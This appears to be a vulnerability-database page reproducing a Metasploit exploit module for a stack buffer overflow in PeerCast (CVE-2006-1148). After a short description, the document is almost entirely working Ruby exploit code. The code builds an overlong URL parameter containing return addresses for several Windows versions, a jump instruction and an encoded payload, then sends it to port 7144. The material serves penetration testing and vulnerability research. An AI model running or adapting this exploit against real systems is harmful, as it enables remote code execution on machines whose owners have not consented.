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PeerCast URL Handling Buffer Overflow

2006-03-30T21:05:42
ID MSF:EXPLOIT/WINDOWS/HTTP/PEERCAST_URL
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

This module exploits a stack buffer overflow in PeerCast <= v0.1216. The vulnerability is caused due to a boundary error within the handling of URL parameters.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule &lt; Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           =&gt; 'PeerCast URL Handling Buffer Overflow',
      'Description'    =&gt; %q{
          This module exploits a stack buffer overflow in PeerCast &lt;= v0.1216.
        The vulnerability is caused due to a boundary error within the
        handling of URL parameters.
      },
      'Author'         =&gt; [ 'hdm' ],
      'License'        =&gt; MSF_LICENSE,
      'References'     =&gt;
        [
          ['CVE', '2006-1148'],
          ['OSVDB', '23777'],
          ['BID', '17040']
        ],
      'Privileged'     =&gt; false,
      'Payload'        =&gt;
        {
          'Space'    =&gt; 400,
          'BadChars' =&gt; "\x00\x0a\x0d\x20\x0d\x2f\x3d\x3b",
          'StackAdjustment' =&gt; -3500,
        },
      'Platform'       =&gt; 'win',
      'Targets'        =&gt;
        [
          ['Windows 2000 English SP0-SP4', { 'Ret' =&gt; 0x75023360 }],
          ['Windows 2003 English SP0-SP1', { 'Ret' =&gt; 0x77d099e3 }],
          ['Windows XP English SP0/SP1',   { 'Ret' =&gt; 0x77dbfa2c }],
          ['Windows XP English SP0/SP2',   { 'Ret' =&gt; 0x77dc12b8 }],
        ],
      'DisclosureDate' =&gt; 'Mar 8 2006'))

    register_options( [ Opt::RPORT(7144) ])
  end

  def exploit
    connect

    pat = rand_text_alphanumeric(1024)
    pat[768, 4] = [target.ret].pack('V')
    pat[812, 5] = [0xe9, -517].pack('CV')
    pat[300, payload.encoded.length] = payload.encoded

    uri = '/stream/?' + pat

    res = "GET #{uri} HTTP/1.0\r\n\r\n"

    print_status("Trying target address 0x%.8x..." % target.ret)
    sock.put(res)
    sock.close

    handler
    disconnect
  end
end
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